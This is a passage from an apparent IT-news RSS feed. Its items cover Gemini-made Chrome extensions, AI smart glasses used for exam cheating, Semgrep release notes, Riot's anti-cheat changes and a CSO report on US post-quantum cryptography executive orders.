<li>I do a fair amount of basic image editing and frequently find myself needing to reference a hex color code that corresponds with a particular brand color, and I always end up having to open up a new tab and look in a note somewhere to find the code I need. Well, no more: I used Gemini to create a super-simple custom color code pop-up where I can store all the colors I need and then copy any of ’em onto my clipboard with a single click. <em>Major </em>time-saver.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-07-color-palette.jpg?quality=50&amp;strip=all" alt="screenshot of color palette selector - a custom chrome extension created by gemini " class="wp-image-4185237" width="478" height="555" sizes="auto, (max-width: 478px) 100vw, 478px"><figcaption class="wp-element-caption"><p>All the color codes I need are now never more than a couple clicks away.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<ul class="wp-block-list">
<li>I’m also constantly converting time zones, either for meetings with clients or colleagues or for trying to wrap my head around publishing systems that insist on using random time zones with no meaning to me. It’s infinitely easier for me to manage now, thanks to the custom Chrome extension I made that shows the current time in all the zones I need most often — as well as allowing me to put any <em>other </em>time into any field and have all the other zones instantly adjust to match. It also offers a brilliant plain-text conversion box where I can just type things like “1pm-3pm PT in MT” and have it cough back up an instant answer for any conversion I need.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-08-time-zone-converter.jpg?quality=50&amp;strip=all" alt="screenshot of time zone converter  - a custom chrome extension created by gemini " class="wp-image-4185235" width="432" height="542" sizes="auto, (max-width: 432px) 100vw, 432px"><figcaption class="wp-element-caption"><p>My custom time zone conversion extension comes in handy countless times a day.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Maybe what you want is the ability to interact with data on different websites more easily — to be able to save any table on a page in front of you as a CSV file, mayhap, or even to save any text you highlight on a page into a new Google Docs document. Whatever the case may be, Gemini can handle it — and that superpower that you’ve always wished for but never found the right tool to make possible can actually now be yours.</p>



<h2 class="wp-block-heading"><a></a>Custom extension category #3: The browser expander</h2>



<p>Our final category of custom Chrome extensions to consider moves beyond the web itself and into your actual browser. The browser is essentially the modern-day desktop, after all — and for the first time now, you can expand and enhance it in all sorts of interesting ways.</p>



<p>Some specific examples, to get your brain-motor whirring:</p>



<ul class="wp-block-list">
<li>You could walk Gemini through creating a smart auto-snooze system for your open browser tabs, both to clear clutter and help with <a href="https://www.computerworld.com/article/1666806/easy-steps-to-make-chrome-faster-and-more-secure.html">Chrome’s performance</a>. It could save any tab that hasn’t been touched in a certain amount of time to your local storage and then give you a simple searchable “Archive Dashboard” where you can find all those auto-closed tabs and re-open ’em as needed.</li>



<li>With the right guidance, Gemini could give you a custom browser research panel — where any info you highlight on a page gets beamed over into a sidebar-style panel that serves as a running scratchpad of notes from the day.</li>



<li>Or, if you find yourself often needing to see two tabs together side by side, you could have Gemini cook up a custom extension that instantly detaches any tab in front of you and puts it into a new tab window in a perfectly sized and spaced pattern. One keyboard shortcut could make that move happen, while another keyboard shortcut could recombine the two tabs into a single centered window.</li>
</ul>



<p>As with all the other ideas we’ve gone over, all you’ve gotta do is ask — and now, with the right inspiration in mind, you’re ready to get your custom extension adventures going and start bending the web to <em>your</em> will.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Students Around the World are Using AI-Powered Smart Glasses to Cheat on Tests]]></title>
<description><![CDATA[Students are using AI-powered smart glasses to cheat on tests, reports CNN. "And in East Asia's test-obsessed societies, where a single exam could impact the trajectory of a student's future career and social status, educators are scrambling to get ahead of the problem."


Already, countries are ...]]></description>
<link>https://tsecurity.de/de/3631292/it-security-nachrichten/students-around-the-world-are-using-ai-powered-smart-glasses-to-cheat-on-tests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631292/it-security-nachrichten/students-around-the-world-are-using-ai-powered-smart-glasses-to-cheat-on-tests/</guid>
<pubDate>Sun, 28 Jun 2026 18:53:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Students are using AI-powered smart glasses to cheat on tests, reports CNN. "And in East Asia's test-obsessed societies, where a single exam could impact the trajectory of a student's future career and social status, educators are scrambling to get ahead of the problem."


Already, countries are stepping up inspections for test-takers. For China's grueling annual college entrance exam earlier this month — which more than 10 million hopefuls take each year — authorities required screening of all glasses. In the United Kingdom, the head of England's exam watchdog warned earlier this month that AI glasses and smart devices like earpieces could worsen cheating in exams... [T]wo incidents in South Korea were the country's first reported cases of cheating with AI glasses... In Taiwan, the university where a prospective student was caught cheating is now reviewing rules and standard operating procedures for AI eyewears during examinations. 

But experts worry these individual cases point to a more widespread issue. "If we're seeing a few cases being reported, we're seeing a lot more cases not being reported," said Thomas Corbin, lecturer at Deakin University in Australia, who has conducted research around the usage of AI-powered glasses and other smart devices in academic assessment. With the rapid development of AI technology, however, smart glasses are becoming slimmer, less noticeable, while integrating AI models that can operate independently with connectivity, raising concerns not only about exam integrity, but also about broader privacy risks... "Wearable AI is as much of a challenge to exams as ChatGPT was to essays in 2022 and I just don't think there is any real way that we can reliably have exam practices moving forward," Corbin said.


<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Students+Around+the+World+are+Using+AI-Powered+Smart+Glasses+to+Cheat+on+Tests%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F27%2F1926233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F27%2F1926233%2Fstudents-around-the-world-are-using-ai-powered-smart-glasses-to-cheat-on-tests%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/27/1926233/students-around-the-world-are-using-ai-powered-smart-glasses-to-cheat-on-tests?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce Agentforce: A Comprehensive Enterprise Cheat Sheet and Review]]></title>
<description><![CDATA[Learn what Salesforce Agentforce 360 does, how its AI agents work, what it costs, and which businesses should consider or skip it.]]></description>
<link>https://tsecurity.de/de/3628404/it-nachrichten/salesforce-agentforce-a-comprehensive-enterprise-cheat-sheet-and-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628404/it-nachrichten/salesforce-agentforce-a-comprehensive-enterprise-cheat-sheet-and-review/</guid>
<pubDate>Fri, 26 Jun 2026 21:03:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn what Salesforce Agentforce 360 does, how its AI agents work, what it costs, and which businesses should consider or skip it.]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity and Access Management]]></title>
<description><![CDATA[This is the part 3 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity…
Read more →
The post ISA VDA 6.0.3 (part 3) — Information Secu...]]></description>
<link>https://tsecurity.de/de/3626722/it-security-nachrichten/isa-vda-603-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626722/it-security-nachrichten/isa-vda-603-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management/</guid>
<pubDate>Fri, 26 Jun 2026 10:20:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 3 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management-2/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-3-information-security-sheet-human-resources-physical-security-identity-and-access-management-2/">ISA VDA 6.0.3 (part 3) — Information Security Sheet: Human Resources, Physical Security, Identity and Access Management</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reversed the game I grew up on, COD: BO2 Zombies and made a game cheat for it]]></title>
<description><![CDATA[submitted by    /u/damnbruuh   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3626247/reverse-engineering/reversed-the-game-i-grew-up-on-cod-bo2-zombies-and-made-a-game-cheat-for-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626247/reverse-engineering/reversed-the-game-i-grew-up-on-cod-bo2-zombies-and-made-a-game-cheat-for-it/</guid>
<pubDate>Fri, 26 Jun 2026 05:53:07 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/damnbruuh"> /u/damnbruuh </a> <br> <span><a href="https://github.com/robertmotr/zirconium">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1ufvoez/reversed_the_game_i_grew_up_on_cod_bo2_zombies/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic AI Cheat Sheet: A Guide to AI Agents, Tools, and Risks]]></title>
<description><![CDATA[Agentic AI moves beyond chatbots into systems that plan, use tools, and act. Learn key terms, architectures, risks, frameworks, and use cases.]]></description>
<link>https://tsecurity.de/de/3624898/it-nachrichten/agentic-ai-cheat-sheet-a-guide-to-ai-agents-tools-and-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624898/it-nachrichten/agentic-ai-cheat-sheet-a-guide-to-ai-agents-tools-and-risks/</guid>
<pubDate>Thu, 25 Jun 2026 16:32:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agentic AI moves beyond chatbots into systems that plan, use tools, and act. Learn key terms, architectures, risks, frameworks, and use cases.]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.168.0]]></title>
<description><![CDATA[1.168.0 - 2026-06-24
### Added

Added an experimental --x-dependency-paths flag to scan and ci that includes the full dependency path(s) for transitive supply-chain findings in --json and --sarif output. (SC-3547)

### Changed

Malicious supply chain rules are now labeled "Malicious" instead of "...]]></description>
<link>https://tsecurity.de/de/3622675/it-security-tools/release-v11680/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622675/it-security-tools/release-v11680/</guid>
<pubDate>Wed, 24 Jun 2026 21:49:21 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.168.0">1.168.0</a> - 2026-06-24</h2>
<h3>### Added</h3>
<ul>
<li>Added an experimental <code>--x-dependency-paths</code> flag to <code>scan</code> and <code>ci</code> that includes the full dependency path(s) for transitive supply-chain findings in <code>--json</code> and <code>--sarif</code> output. (SC-3547)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Malicious supply chain rules are now labeled "Malicious" instead of "Basic" in the scan analysis summary table. (SC-3504)</li>
</ul>
<h3>### Infra/Release Changes</h3>
<ul>
<li>semgrep-core no longer depends on libpcre 8.x; libpcre2 10.x is now the sole regex engine. (drop-libpcre)</li>
<li>Aliengrep (generic mode) now uses the maintained libpcre2 10.x regular-expression library instead of the deprecated libpcre 8.x. Matching behavior is unchanged. (aliengrep-pcre2)</li>
<li>The <code>metavariable-regex</code> and <code>metavariable-comparison</code> (<code>re.match()</code>) runtimes now use the maintained libpcre2 10.x library instead of the deprecated libpcre 8.x. Matching behavior is unchanged. (eval-generic-pcre2)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI, OAuth, and Other Platform APIs in the Core]]></title>
<description><![CDATA[This is the second follow-up to June 5’s release post. It covers the platform APIs that moved into the framework core this release. There are two headline pieces (AI/LLM and the modern OAuth/OIDC stack) and two smaller pieces (WiFi/connectivity and share-sheet…
Read more →
The post AI, OAuth, and...]]></description>
<link>https://tsecurity.de/de/3622597/it-security-nachrichten/ai-oauth-and-other-platform-apis-in-the-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622597/it-security-nachrichten/ai-oauth-and-other-platform-apis-in-the-core/</guid>
<pubDate>Wed, 24 Jun 2026 21:08:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the second follow-up to June 5’s release post. It covers the platform APIs that moved into the framework core this release. There are two headline pieces (AI/LLM and the modern OAuth/OIDC stack) and two smaller pieces (WiFi/connectivity and share-sheet…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-oauth-and-other-platform-apis-in-the-core/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-oauth-and-other-platform-apis-in-the-core/">AI, OAuth, and Other Platform APIs in the Core</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Riot now lets you enable its anti-cheat when you want to]]></title>
<description><![CDATA[If League of Legends and Valorant players have the right hardware and elect to opt into "pre-boot security mechanisms and Windows' own native protection features," then, starting today, they can switch the Vanguard anti-cheat software from always-on to one that's "on demand." With "Vanguard Pre-C...]]></description>
<link>https://tsecurity.de/de/3622220/it-nachrichten/riot-now-lets-you-enable-its-anti-cheat-when-you-want-to/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622220/it-nachrichten/riot-now-lets-you-enable-its-anti-cheat-when-you-want-to/</guid>
<pubDate>Wed, 24 Jun 2026 19:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If League of Legends and Valorant players have the right hardware and elect to opt into "pre-boot security mechanisms and Windows' own native protection features," then, starting today, they can switch the Vanguard anti-cheat software from always-on to one that's "on demand." With "Vanguard Pre-Check," the kernel-level driver won't launch when your system does, according […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump sets post-quantum crypto deadlines, launches broader federal quantum initiative]]></title>
<description><![CDATA[US President Donald Trump on Monday signed a pair of executive orders aimed at accelerating the federal government’s transition to post-quantum cryptography while expanding US investment in quantum technologies, establishing what the administration describes as a coordinated strategy to prepare f...]]></description>
<link>https://tsecurity.de/de/3619295/it-security-nachrichten/trump-sets-post-quantum-crypto-deadlines-launches-broader-federal-quantum-initiative/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619295/it-security-nachrichten/trump-sets-post-quantum-crypto-deadlines-launches-broader-federal-quantum-initiative/</guid>
<pubDate>Tue, 23 Jun 2026 20:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>US President Donald Trump on Monday signed a pair of executive orders aimed at accelerating the federal government’s transition to post-quantum cryptography while expanding US investment in quantum technologies, establishing what the administration describes as a coordinated strategy to prepare for the opportunities and risks posed by quantum computing.</p>



<p>The actions include an <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks">executive order</a>, “Securing the Nation Against Advanced Cryptographic Attacks,” and a <a href="https://www.whitehouse.gov/presidential-actions/2026/06/ushering-in-the-next-frontier-of-quantum-innovation/">companion order</a>, “Ushering in the Next Frontier of Quantum Innovation.” Accompanying White House <a href="https://www.whitehouse.gov/fact-sheets/2026/06/fact-sheet-president-donald-j-trump-secures-the-nation-against-advanced-cryptographic-attacks">fact</a> <a href="https://www.whitehouse.gov/fact-sheets/2026/06/fact-sheet-president-donald-j-trump-ushers-in-the-next-frontier-of-quantum-innovation/">sheets</a> frame the initiatives as part of the administration’s broader national security, economic competitiveness, and cybersecurity strategy.</p>



<p>For security leaders, the most immediate impact comes from the cryptography order, which establishes federal migration deadlines for <a href="https://www.csoonline.com/article/654887/11-notable-post-quantum-cryptography-initiatives-launched-in-2023.html">quantum-resistant encryption</a>, directs agencies to inventory cryptographic assets, and signals future procurement requirements for government contractors.</p>



<p>“It’s a great step and definitely in alignment with what we’ve seen from other jurisdictions around the world,” <a href="https://www.linkedin.com/in/chrishickman613/">Chris Hickman</a>, CISO at post-quantum cryptography company Keyfactor, tells CSO. “It compels action.”</p>



<p>Hickman said the deadlines could have effects far beyond federal agencies because contractors and critical infrastructure operators will face increasing pressure to demonstrate <a href="https://www.csoonline.com/article/3552701/the-cisos-guide-to-establishing-quantum-resilience.html">readiness for post-quantum cryptography</a>.</p>



<p>“A lot of suppliers out there don’t want to lose revenue from the federal government, so it’s time to take this stuff seriously,” he said.</p>



<p>The administration argues that adversaries may already be collecting encrypted communications and sensitive data in anticipation of future breakthroughs that could render today’s public key cryptography obsolete.</p>



<p>The White House described the threat as a “harvest now, decrypt later” scenario in which information stolen today could be stored and <a href="https://www.csoonline.com/article/4180902/reap-now-decipher-later-thats-the-approach-to-cybersecurity-in-the-quantum-age.html">decrypted years from now</a> once sufficiently powerful quantum computers become available.</p>



<p>Although experts continue to debate how long it will take to build cryptographically relevant quantum computers, federal officials argue that organizations cannot wait until such systems exist before beginning preparations.</p>



<p>The White House said the order builds on a broader administration cybersecurity agenda, including a June 2025 <a href="https://www.csoonline.com/article/4003811/trump-takes-aim-at-bidens-cyber-executive-order-but-leaves-it-largely-untouched.html">cybersecurity executive order</a> and <a href="https://www.csoonline.com/article/4141989/trumps-cyber-strategy-emphasizes-offensive-operations-deregulation-ai.html">the Cyber Strategy for America</a> released earlier this year. Officials said the effort is intended not only to protect federal systems but also to accelerate adoption of quantum-resistant security technologies across critical infrastructure sectors and the broader digital ecosystem.</p>



<p><a></a><a href="https://www.csoonline.com/article/4188510/linkedin.com/in/ilona-cohen-3094b255">Ilona Cohen</a>, chief legal and policy officer at HackerOne and former general counsel of the White House Office of Management and Budget, said in a statement that recent administration cybersecurity initiatives reflect growing concern about the role contractors play in federal cyber risk. “Federal networks are only as resilient as the contractors supporting them,” Cohen said.</p>



<h2 class="wp-block-heading">Federal migration deadlines established</h2>



<p>The executive order directs federal agencies to accelerate migration to post-quantum cryptography standards developed by the National Institute of Standards and Technology.</p>



<p>NIST finalized <a href="https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards">its first post-quantum cryptography standards</a> in 2024 and continues to evaluate additional algorithms intended to replace cryptographic systems vulnerable to future quantum attacks.</p>



<p>Under the order, federal agencies must complete migration of key-establishment mechanisms by Dec. 31, 2030. Migration of digital-signature systems must be completed by Dec. 31, 2031. Within 30 days, agencies must designate senior officials responsible for overseeing post-quantum cryptography migration efforts.</p>



<p>The Office of Management and Budget must issue implementation guidance within 90 days, while agencies are expected to develop plans for replacing vulnerable cryptographic systems across federal environments.</p>



<p>The deadlines represent one of the clearest federal mandates to date regarding the timeline for government adoption of post-quantum cryptography.</p>



<h2 class="wp-block-heading">Cryptographic bill of materials requirements</h2>



<p>The order also introduces measures intended to improve visibility into cryptographic dependencies throughout government systems and software supply chains.</p>



<p>Among the most significant is a directive requiring NIST and the Cybersecurity and Infrastructure Security Agency to develop minimum elements for a cryptographic bill of materials (CBOM) within 270 days.</p>



<p>The concept is similar to a <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> but focuses specifically on identifying cryptographic algorithms, libraries, and dependencies embedded within products and systems.</p>



<p>Security practitioners have long argued that organizations cannot effectively migrate to post-quantum cryptography without first understanding where cryptography exists throughout their environments.</p>



<p>The administration also directed NIST to establish a federal post-quantum cryptography migration pilot program by the end of 2027 to identify implementation challenges and develop migration best practices.</p>



<h2 class="wp-block-heading">Contractors likely to face new compliance obligations</h2>



<p>The executive order also signals significant future implications for federal contractors.</p>



<p>The Federal Acquisition Regulatory Council was directed to develop procurement requirements that would require covered contractors to comply with applicable NIST post-quantum cryptography standards by the end of 2030.</p>



<p>While details remain to be determined, the provision suggests federal purchasing requirements may become a major driver of post-quantum cryptography adoption across the technology industry.</p>



<p>Security vendors, cloud providers, software developers, and managed service providers that do business with federal agencies may ultimately need to demonstrate compliance with emerging post-quantum cryptography requirements.</p>



<p>The order’s emphasis on cryptographic inventories, migration planning, and standards compliance suggests federal agencies will increasingly expect suppliers to understand and document the cryptographic components embedded within their products.</p>



<h2 class="wp-block-heading">Quantum innovation initiative expands</h2>



<p>Alongside the cybersecurity order, Trump signed a separate executive order, which intends to accelerate the development of quantum computing and related technologies.</p>



<p>The administration argues that quantum technologies could eventually transform industries, including pharmaceuticals, manufacturing, logistics, energy, and defense, while providing strategic advantages in scientific research and national security.</p>



<p>At the center of the initiative is a government-wide effort known as Quantum Computing for Accelerated Discovery and Development for Science (QC-ADDS), which aims to develop at least one quantum computer capable of enabling what the administration calls “quantum-enabled scientific discovery.”</p>



<p>The Department of Energy, Department of Commerce, Department of Defense, National Science Foundation, NASA, National Security Agency, and elements of the intelligence community are directed to coordinate research and development activities under the program.</p>



<p>Agencies are tasked with developing technical requirements within 90 days and implementation plans within 180 days.</p>



<p>Industry leaders said the order reflects a growing recognition that leadership in quantum computing will require coordinated investment across multiple layers of the technology stack.</p>



<p>“The United States has a window of opportunity to lead in this domain,” <a href="https://www.linkedin.com/in/stefanleichenauer/">Stefan Leichenauer</a>, vice president of engineering at SandboxAQ, said in a statement. “It requires coordinated investment across the stack: cryptography, compute infrastructure, data generation, and application development. It also requires strong partnerships between government, industry, and academia.”</p>



<p>The order also calls for expanded support for quantum networking and quantum sensing technologies and directs the creation of a national capability for evaluating and benchmarking quantum computing systems.</p>



<h2 class="wp-block-heading">Commercialization, workforce, and security priorities</h2>



<p>A major focus of the innovation initiative is moving quantum technologies from research laboratories into commercial deployment.</p>



<p>The White House said the United States must strengthen domestic quantum supply chains, support technology transfer, and ensure federally funded discoveries translate into commercial products and economic growth.</p>



<p><a href="https://www.csoonline.com/article/4188510/linkedin.com/in/saxenaankur">Ankur Saxena</a>, investment director at TDK Ventures, thinks the order reflects the industry’s growing focus on turning scientific advances into deployable technologies. “Quantum is shifting from a scientific frontier to an engineering and industrial race,” Saxena said in a statement. “US leadership will depend not just on breakthrough hardware, but on resilient supply chains and the enabling infrastructure that makes quantum deployable at scale.”</p>



<p>The administration also announced plans to reconstitute the National Quantum Initiative Advisory Committee and expand activities of the Quantum Counterintelligence Protection Team to help protect sensitive research and intellectual property.</p>



<p>The order places significant emphasis on workforce development as well, directing agencies to support quantum-related education, credentialing, and apprenticeship programs and to establish National Quantum Information Science and Technology Workforce Development Institutes.</p>



<h2 class="wp-block-heading">Two sides of the same strategy</h2>



<p>The executive orders reflect an effort to pursue what administration officials view as two sides of the same challenge: accelerating development of quantum technologies while preparing for the security consequences those technologies may eventually create.</p>



<p>For cybersecurity leaders, the post-quantum cryptography provisions are likely to have the most immediate impact. The combination of migration deadlines, cryptographic inventory requirements, pilot programs, and anticipated procurement mandates signals that federal agencies are moving from planning for post-quantum cryptography to implementing it.</p>



<p>For the broader technology sector, the orders underscore a growing consensus in Washington that quantum computing is no longer merely a long-term research project but a strategic technology that requires simultaneous investment, governance and risk management.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump sets post-quantum crypto deadlines, launches broader federal quantum initiative]]></title>
<description><![CDATA[US President Donald Trump on Monday signed a pair of executive orders aimed at accelerating the federal government’s transition to post-quantum cryptography while expanding US investment in quantum technologies, establishing what the administration describes as a coordinated strategy to prepare f...]]></description>
<link>https://tsecurity.de/de/3619287/it-nachrichten/trump-sets-post-quantum-crypto-deadlines-launches-broader-federal-quantum-initiative/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619287/it-nachrichten/trump-sets-post-quantum-crypto-deadlines-launches-broader-federal-quantum-initiative/</guid>
<pubDate>Tue, 23 Jun 2026 20:32:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>US President Donald Trump on Monday signed a pair of executive orders aimed at accelerating the federal government’s transition to post-quantum cryptography while expanding US investment in quantum technologies, establishing what the administration describes as a coordinated strategy to prepare for the opportunities and risks posed by quantum computing.</p>



<p>The actions include an <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks" rel="nofollow">executive order</a>, “Securing the Nation Against Advanced Cryptographic Attacks,” and a <a href="https://www.whitehouse.gov/presidential-actions/2026/06/ushering-in-the-next-frontier-of-quantum-innovation/" rel="nofollow">companion order</a>, “Ushering in the Next Frontier of Quantum Innovation.” Accompanying White House <a href="https://www.whitehouse.gov/fact-sheets/2026/06/fact-sheet-president-donald-j-trump-secures-the-nation-against-advanced-cryptographic-attacks" rel="nofollow">fact</a> <a href="https://www.whitehouse.gov/fact-sheets/2026/06/fact-sheet-president-donald-j-trump-ushers-in-the-next-frontier-of-quantum-innovation/" rel="nofollow">sheets</a> frame the initiatives as part of the administration’s broader national security, economic competitiveness, and cybersecurity strategy.</p>



<p>For security leaders, the most immediate impact comes from the cryptography order, which establishes federal migration deadlines for <a href="https://www.csoonline.com/article/654887/11-notable-post-quantum-cryptography-initiatives-launched-in-2023.html">quantum-resistant encryption</a>, directs agencies to inventory cryptographic assets, and signals future procurement requirements for government contractors.</p>



<p>“It’s a great step and definitely in alignment with what we’ve seen from other jurisdictions around the world,” <a href="https://www.linkedin.com/in/chrishickman613/" rel="nofollow">Chris Hickman</a>, CISO at post-quantum cryptography company Keyfactor, tells CSO. “It compels action.”</p>



<p>Hickman said the deadlines could have effects far beyond federal agencies because contractors and critical infrastructure operators will face increasing pressure to demonstrate <a href="https://www.csoonline.com/article/3552701/the-cisos-guide-to-establishing-quantum-resilience.html">readiness for post-quantum cryptography</a>.</p>



<p>“A lot of suppliers out there don’t want to lose revenue from the federal government, so it’s time to take this stuff seriously,” he said.</p>



<p>The administration argues that adversaries may already be collecting encrypted communications and sensitive data in anticipation of future breakthroughs that could render today’s public key cryptography obsolete.</p>



<p>The White House described the threat as a “harvest now, decrypt later” scenario in which information stolen today could be stored and <a href="https://www.csoonline.com/article/4180902/reap-now-decipher-later-thats-the-approach-to-cybersecurity-in-the-quantum-age.html">decrypted years from now</a> once sufficiently powerful quantum computers become available.</p>



<p>Although experts continue to debate how long it will take to build cryptographically relevant quantum computers, federal officials argue that organizations cannot wait until such systems exist before beginning preparations.</p>



<p>The White House said the order builds on a broader administration cybersecurity agenda, including a June 2025 <a href="https://www.csoonline.com/article/4003811/trump-takes-aim-at-bidens-cyber-executive-order-but-leaves-it-largely-untouched.html">cybersecurity executive order</a> and <a href="https://www.csoonline.com/article/4141989/trumps-cyber-strategy-emphasizes-offensive-operations-deregulation-ai.html">the Cyber Strategy for America</a> released earlier this year. Officials said the effort is intended not only to protect federal systems but also to accelerate adoption of quantum-resistant security technologies across critical infrastructure sectors and the broader digital ecosystem.</p>



<p><a href="https://www.cio.com/article/4188512/linkedin.com/in/ilona-cohen-3094b255">Ilona Cohen</a>, chief legal and policy officer at HackerOne and former general counsel of the White House Office of Management and Budget, said in a statement that recent administration cybersecurity initiatives reflect growing concern about the role contractors play in federal cyber risk. “Federal networks are only as resilient as the contractors supporting them,” Cohen said.</p>



<h2 class="wp-block-heading">Federal migration deadlines established</h2>



<p>The executive order directs federal agencies to accelerate migration to post-quantum cryptography standards developed by the National Institute of Standards and Technology.</p>



<p>NIST finalized <a href="https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards" rel="nofollow">its first post-quantum cryptography standards</a> in 2024 and continues to evaluate additional algorithms intended to replace cryptographic systems vulnerable to future quantum attacks.</p>



<p>Under the order, federal agencies must complete migration of key-establishment mechanisms by Dec. 31, 2030. Migration of digital-signature systems must be completed by Dec. 31, 2031. Within 30 days, agencies must designate senior officials responsible for overseeing post-quantum cryptography migration efforts.</p>



<p>The Office of Management and Budget must issue implementation guidance within 90 days, while agencies are expected to develop plans for replacing vulnerable cryptographic systems across federal environments.</p>



<p>The deadlines represent one of the clearest federal mandates to date regarding the timeline for government adoption of post-quantum cryptography.</p>



<h2 class="wp-block-heading">Cryptographic bill of materials requirements</h2>



<p>The order also introduces measures intended to improve visibility into cryptographic dependencies throughout government systems and software supply chains.</p>



<p>Among the most significant is a directive requiring NIST and the Cybersecurity and Infrastructure Security Agency to develop minimum elements for a cryptographic bill of materials (CBOM) within 270 days.</p>



<p>The concept is similar to a <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> but focuses specifically on identifying cryptographic algorithms, libraries, and dependencies embedded within products and systems.</p>



<p>Security practitioners have long argued that organizations cannot effectively migrate to post-quantum cryptography without first understanding where cryptography exists throughout their environments.</p>



